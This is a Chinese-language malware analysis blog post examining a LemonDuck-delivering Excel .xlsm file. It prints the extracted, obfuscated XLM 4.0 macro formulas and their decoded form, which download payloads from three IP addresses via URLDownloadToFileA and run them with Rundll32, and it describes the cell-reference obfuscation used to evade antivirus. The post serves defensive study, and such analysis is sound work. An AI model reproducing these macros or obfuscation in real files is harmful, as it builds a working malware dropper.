恶意软件分析-恶意 Excel 文档分析

admin 2024年3月26日23:54:49评论4 views字数 12769阅读42分33秒阅读模式

恶意软件分析-恶意 Excel 文档分析

样品概述

大家好,在这篇博文中,我们将分析基于Microsoft Excel Document的恶意软件样本。让我们仔细看看并深入分析。我希望你会发现它的信息量很大。毫不拖延,让我们开始吧。

介绍

LemonDuck 是一种复杂的恶意软件,旨在感染和破坏计算机系统,以挖掘加密货币、窃取数据并将自身传播到其他系统。它于 2019 年首次被发现,此后被用于针对世界各地组织的许多备受瞩目的攻击。

LemonDuck 通常通过网络钓鱼电子邮件或滴管或恶意文档传递。它利用系统漏洞和 Windows 合法工具和软件(如 Windows Powershell、Windows WMI 等)感染目标系统,并持久化到内存和系统注册表中。

  • 恶意软件开发 

  • 恶意软件分析-恶意 Excel 文档分析

LemonDuck 最显着的功能之一是它能够使用受感染的系统挖掘加密货币。这可能会导致大量资源消耗并降低系统性能,最终导致受影响组织的系统崩溃和停机。

分析目的:

此分析的目的是评估 LemonDuck 恶意软件的影响和行为,以识别潜在风险并制定防止未来感染的计划。分析范围将包括分析恶意软件的代码、网络流量和系统交互,以确定它如何传播、目标数据以及它如何与其命令和控制 (C2) 服务器通信。

目的:

此分析的目的是确定 LeonDuck 恶意软件用于感染和泄露目标系统数据的特定策略、技术和程序 (TTP)。具体而言,我们的目标是:

  • 识别初始感染媒介

  • 确定横向移动能力

  • 分析恶意软件与 C2 服务器之间的通信方式

  • 了解数据加密方法

  • 评估攻击背后的可能动机

预期成果:

根据分析,我们预计提供以下结果:

  • 防止未来攻击的建议

  • 识别入侵指标 (IoC)

摘要

这些恶意软件通过网络钓鱼电子邮件传递,其中包含支持宏的恶意 Microsoft 文档附件到目标。当受害者下载并执行文档时,它会到达它的 C2(命令和控制服务器)并下载三个不同的文件并将它们存储在名为 FOL 的计算机上。多卡,FOL。DOKA1,对开页。系统上的 DOKA2。此外,恶意软件试图将下载的文件注册为 DLL 服务,这使得它隐蔽且难以检测。然后,此进程使用NTDLL.dll本机库函数从具有更高权限的其他正在运行的进程获得更多权限,这使它能够模拟具有更高权限的其他进程,它还使用 NTSetInformationProcess 为加载的进程设置属性。这可用于设置执行优先级,并在某些情况下使用具有更高性能的资源。它还加载 RCP 模块 DLL 并在系统上创建许多突变体。恶意软件加载另一个具有不同环境变量的进程,这是非常可疑的。该恶意软件还尝试访问 sysmain.sdb 数据库文件,并尝试访问多个位置的下载文件,这些文件可用于基于主机的签名。

恶意软件分析-恶意 Excel 文档分析

潜在攻击链

方法论

为了分析这个恶意软件样本,我使用了以下方法和工具。

使用的方法

  • 基本静态分析

  • 高级静态分析

  • 用于动态分析的沙盒环境

  • 代码审查和反混淆

使用的工具

  • 轻松检测

  • Microsoft Excel

  • VBA代码编辑器

  • OLE 工具

  • WinRar

  • 记事本 ++

  • 混合分析沙盒

结果

从分析和调查中获得的 IOC,用于制定用于恶意软件检测的防病毒规则。

恶意软件分析-恶意 Excel 文档分析

国际奥委会

分析

所提供样品的分析包括各种类型的分析,从基本的静态分析到高级动态分析。该报告包括根据分析日期和时间(2023 @March 28 日)的信息。所提供的信息在阅读时可能有所不同。

静态分析

此 LemonDuck 恶意软件示例在恶意 excel 文档上以形式出现,其中包含恶意隐藏宏以感染系统。启用宏的文档的静态分析有许多方法可以分析样本。

sample 的属性指示文件是启用宏的 .xlsm 文档(参见图 1.0)。

恶意软件分析-恶意 Excel 文档分析

图 1.0

属性框中详细信息页面的来源部分显示了有关作者、上次保存者、内容创建日期和时间以及上次修改或保存日期和时间的大量信息(请参阅图 1.1)。这些信息可能是错误的,并且错过了引导,因为恶意软件作者不希望透露有关他自己的信息,反之亦然。

恶意软件分析-恶意 Excel 文档分析

图 1.1

该示例的文件类型分析显示zip格式。这是因为它的样本包含其中的宏。(见图 1.2)

恶意软件分析-恶意 Excel 文档分析

恶意软件分析-恶意 Excel 文档分析

图 1.2

似乎示例被混淆了,字符串并没有透露与 VBA 宏脚本代码相关的任何内容或与有效负载相关的任何其他内容。字符串仅显示 sheet1 和 sheet2 注入了宏。(见图 1.3)

恶意软件分析-恶意 Excel 文档分析

图 1.3

Excel 工作表在文档中包含 3 个工作表。样品中没有发现隐藏的纸张或锁定的纸张。有一张图片告诉用户单击启用宏按钮。(见图 1.4)

恶意软件分析-恶意 Excel 文档分析

图 1.4

宏是隐藏的,无法在Excel以及Microsoft VBA宏编辑器的宏视图选项中查看。这似乎很有趣。有趣的是,所有的细胞都充满了白色,这是非常可疑的。(见图1.5和1.6)

恶意软件分析-恶意 Excel 文档分析

图 1.5

恶意软件分析-恶意 Excel 文档分析

图 1.6

现在,当文件被重命名并通过 Winrar 提取时(您可以使用任何提取工具),我们可以找到注入到文档中的宏代码。宏表目录中有两个名为 sheet1.xml 和 sheet2.xml 的文件。(见图1.7和1.8)

恶意软件分析-恶意 Excel 文档分析

图 1.7

恶意软件分析-恶意 Excel 文档分析

图 1.8

sheet1.xml和sheet2.xml都有可疑的公式,这些公式以某种方式被混淆,以至于防病毒软件无法检测到它们。该文件使用来自单元格的数据引用来形成恶意代码。这可以很容易地绕过任何传统的防病毒程序。(见图1.9和2.0)

恶意软件分析-恶意 Excel 文档分析

图 1.9

恶意软件分析-恶意 Excel 文档分析

图 2.0

Python具有非常广泛的工具脚本集合,称为“OLETOOLS”,用于分析恶意Microsoft文档,特别是(Word,Excel,PowerPoint等)以查找隐藏在文件中的恶意内容和代码。上述 .xml 个文件具有包含其他 xml 内容的宏,这使得分析代码变得困难。我使用OLETOOLS的名为 olevba.py 的脚本提取了恶意代码,并将其存储macros.txt文件中进行分析。请记住,我们的工作表填充了白色,宏对单元格位置有一些引用,因此我已经从单元格中删除了填充的颜色,现在让我们分析代码。

阶段 0

XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.1 on Python 3.10.6 - http://decalage.info/python/oletools
===============================================================================
FILE: LemonDuck.xlsm
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO xlm_macro.txt
in file: xlm_macro - OLE stream: 'xlm_macro'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' RAW EXCEL4/XLM MACRO FORMULAS:
' SHEET: sheet1, Macrosheet
' CELL:AO265, =NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=FORMULA.FILL(","&AL101&AL113&AL113&AL99&AL114&"g"&"i"&"s"&"t"&"e"&"r"&"S"&"e"&"r"&"v"&"e"&"r",AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW(), 0
' CELL:AO271, =NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=""&""&REGISTER("U"&AL99&AL100&AK117&AL110&AL104,"U"&AL99&AL100&AL101&AL102&AL103&AL104&AL105&AL106&AL107&AL108&AL109&AL110&AL111&AL112&AL113&AL114&AL115,AK105&AK106&AK107&AK108&AK109&AK110,AK112,,1,9)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW(), 0
' CELL:AO272, =NOW()=NOW()=NOW()=HERTY(0,AH87&Z400&AO262,"..Fol.doka",0,0), #NAME?
' CELL:AO273, =NOW()=NOW()=NOW()=HERTY(0,AH87&Z401&AO262,"..Fol.doka1",0,0), #NAME?
' CELL:AO274, =NOW()=NOW()=NOW()=HERTY(0,AH87&Z402&AO262,"..Fol.doka2",0,0), #NAME?
' CELL:AO277, =GOTO('sheet2'!X191), #N/A
' CELL:AU281, =RETURN(), 0
' CELL:AH87, None, http://
' CELL:AL99, None, R
' CELL:AL100, None, L
' CELL:AL101, None, D
' CELL:AL102, None, o
' CELL:AL103, None, w
' CELL:AL104, None, n
' CELL:AK105, None, J
' CELL:AL105, None, l
' CELL:AK106, None, J
' CELL:AL106, None, o
' CELL:AK107, None, C
' CELL:AL107, None, a
' CELL:AK108, None, C
' CELL:AL108, None, d
' CELL:AK109, None, B
' CELL:AL109, None, T
' CELL:AK110, None, B
' CELL:AL110, None, o
' CELL:AL111, None, F
' CELL:AK112, None, HERTY
' CELL:AL112, None, i
' CELL:AL113, None, l
' CELL:AL114, None, e
' CELL:AL115, None, A
' CELL:AK117, None, M
' CELL:AO262, None, 44273,4828008102.dat
' CELL:Z400, None, 188.127.227.99/
' CELL:Z401, None, 45.150.67.29/
' CELL:Z402, None, 195.123.213.126/
' SHEET: sheet2, Macrosheet
' CELL:X211, =NOW()=NOW()=NOW()=FORMULA.FILL('sheet1'!AL99&"u"&"n"&"d"&"l"&"l"&"3"&"2 ",Y211)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW(), 0
' CELL:X213, =NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=EXEC('sheet2'!Y211&"..Fol.doka"&'sheet1'!AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW(), 0
' CELL:X214, =NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=EXEC('sheet2'!Y211&"..Fol.doka1"&'sheet1'!AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW(), 0
' CELL:X215, =NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=EXEC('sheet2'!Y211&"..Fol.doka2"&'sheet1'!AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW(), 0
' CELL:X220, =GOTO('sheet1'!AU279), 0
' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' EMULATION - DEOBFUSCATED EXCEL4/XLM MACRO FORMULAS:
' CELL:AO265 , FullEvaluation , False
' CELL:AO271 , FullEvaluation , False
' CELL:AO272 , PartialEvaluation , "False==URLMon.URLDownloadToFileA(0,""http://188.127.227.99/44273,4828008102.dat"",""..Fol.doka"",0,0)"
' CELL:AO273 , PartialEvaluation , "False==URLMon.URLDownloadToFileA(0,""http://45.150.67.29/44273,4828008102.dat"",""..Fol.doka1"",0,0)"
' CELL:AO274 , PartialEvaluation , "False==URLMon.URLDownloadToFileA(0,""http://195.123.213.126/44273,4828008102.dat"",""..Fol.doka2"",0,0)"
' CELL:AO277 , FullEvaluation , GOTO(sheet2X191)
' CELL:X211 , FullEvaluation , False
' CELL:X213 , PartialEvaluation , "False==EXEC(""Rundll32 ..Fol.doka,DllRegisterServer"")=45007.5981712963=45007.59819444444=45007.59821759259=45007.59824074074=45007.59826388889=45007.598287037035"
' CELL:X214 , PartialEvaluation , "False==EXEC(""Rundll32 ..Fol.doka1,DllRegisterServer"")=45007.598449074074=45007.59847222222=45007.598495370374=45007.59851851852=45007.598541666666=45007.59856481481"
' CELL:X215 , PartialEvaluation , "False==EXEC(""Rundll32 ..Fol.doka2,DllRegisterServer"")=45007.59872685185=45007.59875=45007.59877314815=45007.5987962963=45007.59881944444=45007.59884259259"
' CELL:X220 , FullEvaluation , GOTO(sheet1AU279)
' CELL:AU281 , FullEvaluation , RETURN()

这是阶段 0 有效载荷,它被混淆且未正确分析。让我们分析它并将其解码为正确的格式和代码。正如我之前所说,此代码引用了工作表中的许多单元格值。让我们首先取消隐藏它并使用可用数据解码代码。(见图 2.1)

恶意软件分析-恶意 Excel 文档分析

图 2.1

第 1 阶段

这是示例宏的解码版本。这些是 excel 函数,它使用单元格引用来连接恶意命令并将它们存储到不同的单元格中,然后使用 =EXEC() 函数执行它们。

#' SHEET: sheet1, Macrosheet

# Problem
# ' CELL:AO265, =NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=FORMULA.FILL(","&AL101&AL113&AL113&AL99&AL114&"g"&"i"&"s"&"t"&"e"&"r"&"S"&"e"&"r"&"v"&"e"&"r",AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW(), 0

# Decoded Solution
#This function fills "DLLRegisterServer" into cell AP265
=FORMULA.FILL("DLLRegisterServer",AP265)

# Problem
#' CELL:AO271, =NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=""&""&REGISTER("U"&AL99&AL100&AK117&AL110&AL104,"U"&AL99&AL100&AL101&AL102&AL103&AL104&AL105&AL106&AL107&AL108&AL109&AL110&AL111&AL112&AL113&AL114&AL115,AK105&AK106&AK107&AK108&AK109&AK110,AK112,,1,9)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW(), 0

# Decoded Solution
=REGISTER("URLMon","URLDownloadToFileA", JJCCBB, HERTY,,1,9)

# Problem
#' CELL:AO272, =NOW()=NOW()=NOW()=HERTY(0,AH87&Z400&AO262,"..Fol.doka",0,0), #NAME?

# Decoded Solution
# Cell A0262 = =NOW()&".dat" which makes filename random.
=HERTY(0,http://188.127.227.99/something.dat","..Fol.doka",0,0)

# Problem
#' CELL:AO273, =NOW()=NOW()=NOW()=HERTY(0,AH87&Z401&AO262,"..Fol.doka1",0,0), #NAME?

# Decoded Solution
# Cell A0262 = =NOW()&".dat" which makes filename random.
=HERTY(0,http://45.150.67.29/something.dat,"..Fol.doka1",0,0), #NAME?

# Problem
#' CELL:AO274, =NOW()=NOW()=NOW()=HERTY(0,AH87&Z402&AO262,"..Fol.doka2",0,0), #NAME?

# Decoded Solution
# Cell A0262 = =NOW()&".dat" which makes filename random.
=HERTY(0,http://195.123.213.126/something.dat,"..Fol.doka2",0,0), #NAME?


44273.4828008102.dat # The exact name of .dat file appears here because =NOW() function executed and returned the time.

# Problem
# ' CELL:X211, =NOW()=NOW()=NOW()=FORMULA.FILL('sheet1'!AL99&"u"&"n"&"d"&"l"&"l"&"3"&"2 ",Y211)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW(), 0

# Decoded Solution
Y211=FORMULA.FILL('sheet1', "Rundll32",Y211) # This fills Y211 cell of sheet1 with "Rundll32" value.

# Problem
# ' CELL:X213, =NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=EXEC('sheet2'!Y211&"..Fol.doka"&'sheet1'!AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW(), 0

# Decoded Solution
=EXEC(Rundll32 ..Fol.doka)

# Problem
# ' CELL:X214, =NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=EXEC('sheet2'!Y211&"..Fol.doka1"&'sheet1'!AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW(), 0

# Decoded Solution
=EXEC(Rundll32 ..Fol.doka1)

# Problem
# ' CELL:X215, =NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=EXEC('sheet2'!Y211&"..Fol.doka2"&'sheet1'!AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW(), 0

# decoded Solution
=EXEC(Rundll32 ..Fol.doka2)

' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' EMULATION - DEOBFUSCATED EXCEL4/XLM MACRO FORMULAS:
' CELL:AO265 , FullEvaluation , False
' CELL:AO271 , FullEvaluation , False
' CELL:AO272 , PartialEvaluation , False

== URLMon.URLDownloadToFileA(0,""http://188.127.227.99/44273.4828008102.dat"",""..Fol.doka"",0,0)"

' CELL:AO273 , PartialEvaluation , False

==URLMon.URLDownloadToFileA(0,""http://45.150.67.29/44273.4828008102.dat"",""..Fol.doka1"",0,0)"

' CELL:AO274 , PartialEvaluation , False
==URLMon.URLDownloadToFileA(0,""http://195.123.213.126/44273.4828008102.dat"",""..Fol.doka2"",0,0)"

' CELL:AO277 , FullEvaluation , GOTO(sheet2X191)
' CELL:X211 , FullEvaluation , False
' CELL:X213 , PartialEvaluation , False

==EXEC(""Rundll32 ..Fol.doka,DllRegisterServer"")

' CELL:X214 , PartialEvaluation , False

==EXEC(""Rundll32 ..Fol.doka1,DllRegisterServer"")

' CELL:X215 , PartialEvaluation , False

==EXEC(""Rundll32 ..Fol.doka2,DllRegisterServer"")

' CELL:X220 , FullEvaluation , GOTO(sheet1AU279)
' CELL:AU281 , FullEvaluation , RETURN()s

让我们了解这里发生了什么。

  • 首先,它将“DLLRegisterServer”放在单元 AP265 中

  • 然后,它生成“URLMon.URLDownloadToFileA”并将其存储到单元格 AO271

  • 然后,它会创建 3 个不同的 URL 来下载恶意.dat文件

  • http[:]//188[.]127[.]227[.]99/某物[.]dat

  • http[:]//45[.]150[.]67[.]29/某物[.]dat

  • http[:]//195[.]123[.]213[.]126/某物[.]dat

  • 然后,这三个不同的文件以相同的顺序以三个不同的名称 Fol.doka、Fol.doka1 和 Fol.doka2 存储。

  • 最初,此something.dat在此恶意文档中转换为44273.4828008102.dat

  • 现在代码移动到 sheet2 并创建字符串“Rundll32”并将其存储到单元格 Y211 中

  • 现在,它尝试使用“Rundll32”使用=EXEC()函数将Fol.doka,Fol.doka1,Fol.doka2作为DLL执行,并尝试在系统中将它们注册为DLL。

  • 同时,它将 shell 的 FullEvalution 和 PartialEvalution 属性更改为 False。

FullEvaluation 属性指定 Excel 是否应计算工作表中的所有公式和依赖项,即使它们未被标记为脏(即已更改或更新)。将此属性设置为 True 可以确保所有计算都是最新的,但它也可能非常耗时且占用大量资源,尤其是对于具有复杂公式的大型工作表。

另一方面,PartialEvaluation 属性指定 Excel 是否应根据某些条件(例如,数据更改或单元格引用)仅计算工作表中的公式和依赖项的子集。设置此属性可以通过减少 Excel 需要执行的计算次数来提高性能。

动态分析

为了动态分析恶意软件,我使用了混合分析云沙盒平台。混合分析沙盒是一个虚拟环境,允许安全研究人员和分析师以安全可控的方式分析恶意软件样本。沙盒是一个安全且隔离的系统,它模拟实际计算机的行为,但在受控环境中运行,对系统其余部分的访问有限。

将恶意文件提交到混合分析时,会在沙盒环境中自动对其进行分析。沙盒记录文件执行的每个操作,包括网络活动、文件更改、注册表修改和系统事件。然后,此信息用于生成报告,以提供有关恶意软件行为的详细见解。

混合分析沙盒旨在帮助安全专业人员了解恶意软件的工作原理,识别潜在威胁,并制定有效的对策来防范它们。对于在网络安全领域工作的任何人来说,它都是一个宝贵的工具。

正如代码所显示的那样,它试图将下载的文件注册为系统上的DLL,这使得检测变得困难。(见图 2.2)

恶意软件分析-恶意 Excel 文档分析

图 2.2

它使用NTDLL.dll本机库函数来生成进程令牌,并尝试设置进程的信息。NT 进程开放令牌是 Windows 操作系统中一种与安全相关的机制,它允许进程打开另一个进程的句柄并模拟其安全上下文。这在各种情况下都很有用,例如,当应用程序需要使用与另一个正在运行的进程相同的权限级别执行某些操作时。

例如,如果进程需要访问需要管理员级别权限的文件或资源,则可以打开在管理员帐户下运行的单独进程的句柄,然后使用 NT 进程开放令牌代入该进程的安全凭据。这允许第二个进程执行必要的操作,而无需用户显式提升第一个进程的权限。

NTSetInformationProcess 函数为进程提供了一种灵活的机制,用于配置和控制其自身行为以及与 Windows 操作系统交互的各个方面。此配置选项包括进程优先级、进程关联、调试、安全性。(见图 2.3)

恶意软件分析-恶意 Excel 文档分析

图 2.3
  1. 进程优先级:NTSetInformationProcess 函数可用于调整进程的优先级,这确定进程相对于系统上其他进程接收的 CPU 时间。

  2. 进程亲和性:此函数还可用于指定允许进程运行的处理器集,这有助于提高某些方案下的性能。

现在更进一步,它通过端口 80 将 http 流量发送到恶意 IP 地址。这些 IP 可能是位于不同位置的 C2 服务器。混合分析称其为 MITRE ATT&CK 框架的 T1071 技术。(见图 2.4)

恶意软件分析-恶意 Excel 文档分析

恶意软件分析-恶意 Excel 文档分析

图 2.4

此示例读取操作系统安装语言,这可能用于目标攻击。可能需要检查特定语言以启动和停止恶意活动。(见图 2.5)

恶意软件分析-恶意 Excel 文档分析

图 2.5

然后,恶意软件在目标系统上创建一些突变体。在 Windows 的上下文中,“突变体”是指操作系统用来管理各种系统资源和进程之间同步的一种内核对象。突变体类似于其他内核对象,如信号量和事件,但它们提供了更高级的功能。具体而言,突变体可用于通过一次只允许一个线程或进程访问资源来同步对共享资源的访问。(见图2.6和2.7)

恶意软件分析-恶意 Excel 文档分析

图 2.6

恶意软件分析-恶意 Excel 文档分析

图 2.7

RPC(远程过程调用)是许多操作系统使用的一种协议,用于允许软件组件通过网络相互通信。虽然 RPC 被设计为一种有用的通信工具,但它也可能被攻击者用于恶意目的,他们以 RPC 的实现方式利用漏洞。此恶意软件示例在目标系统上加载 RPC 模块 DLL。(见图 2.8)

恶意软件分析-恶意 Excel 文档分析

图 2.8

进程 在环境更改的情况下启动。这意味着使用新的环境变量运行进程,这意味着恶意软件正在向系统中声明一些新的环境变量,以便隐身并避免检测。(见图 2.9)

恶意软件分析-恶意 Excel 文档分析

图 2.9

它试图访问Windows合法文件“sysmain.sdb”。Sysmain.sdb 是 Microsoft Windows 用来存储与超级提取功能相关的信息的文件。Superfetch 是一种技术,可以分析和了解您最常使用的应用程序,然后将这些应用程序预加载到内存中,以便在需要时更快地启动它们。存储在 sysmain.sdb 中的信息可帮助 Windows 管理 Superfetch 功能并优化系统性能。(见图 3.0)

恶意软件分析-恶意 Excel 文档分析

图 3.0

如上所述,它会删除一些文件并尝试将它们注册为 DLL。那时,恶意软件试图在系统的不同位置找到这些文件。(见图 3.1 和 3.2)

恶意软件分析-恶意 Excel 文档分析

图 3.1

恶意软件分析-恶意 Excel 文档分析

图 3.2

恶意进程的进程树如下所示。(见图 3.3)

恶意软件分析-恶意 Excel 文档分析

图 3.3

结论

恶意软件示例执行隐藏在恶意Microsoft文档中的恶意宏,并从命令和控制服务器下载恶意.dat文件,然后注册为 DLL 服务。然后进一步用于通过生成其他更高权限进程的 NtProcessOpenTocken 来模拟其他进程,以实现隐身并避免检测。

补救措施:

  • 不要打开来源不明的文档或文件。

  • 默认情况下禁用宏执行。

  • 使用防病毒软件,并使用最新的哈希签名使其保持最新状态。

  • 使操作系统和软件保持最新状态。

  • 如果发现任何文档非常重要但又可疑,则使用沙盒环境打开文档。

  • 最后但不是租约,教育员工和员工。

附录

在 64 家防病毒软件供应商中,只有 28 家防病毒软件检测到 LemonDuck 恶意软件样本,这表明该恶意软件样本可以绕过某些防病毒软件并感染目标主机。(图 3.4)

恶意软件分析-恶意 Excel 文档分析

图 3.4

以下是将恶意软件样本检测为恶意的所有防病毒软件的列表。(图 3.5)

恶意软件分析-恶意 Excel 文档分析

图 3.5

以下是无法将恶意软件样本检测为恶意的所有防病毒软件的列表。(见图 3.6)

恶意软件分析-恶意 Excel 文档分析

图 3.6

下面是示例属性和示例哈希的快速浏览。(图 3.7)

恶意软件分析-恶意 Excel 文档分析

图 3.7

其它教程
二进制漏洞 
  • 恶意软件分析-恶意 Excel 文档分析

  • windows

  • 恶意软件分析-恶意 Excel 文档分析

  • windows()

  • 恶意软件分析-恶意 Excel 文档分析

  • USB()

  • 恶意软件分析-恶意 Excel 文档分析

  • ()

  • 恶意软件分析-恶意 Excel 文档分析

  • ios

  • 恶意软件分析-恶意 Excel 文档分析

  • windbg

  • 恶意软件分析-恶意 Excel 文档分析

  • ()

  • 恶意软件分析-恶意 Excel 文档分析恶意软件分析-恶意 Excel 文档分析恶意软件分析-恶意 Excel 文档分析

  • 恶意软件分析-恶意 Excel 文档分析

  • 恶意软件分析-恶意 Excel 文档分析

  • 恶意软件分析-恶意 Excel 文档分析

原文始发于微信公众号(安全狗的自我修养):恶意软件分析-恶意 Excel 文档分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月26日23:54:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   恶意软件分析-恶意 Excel 文档分析http://cn-sec.com/archives/2603763.html

发表评论

匿名网友 填写信息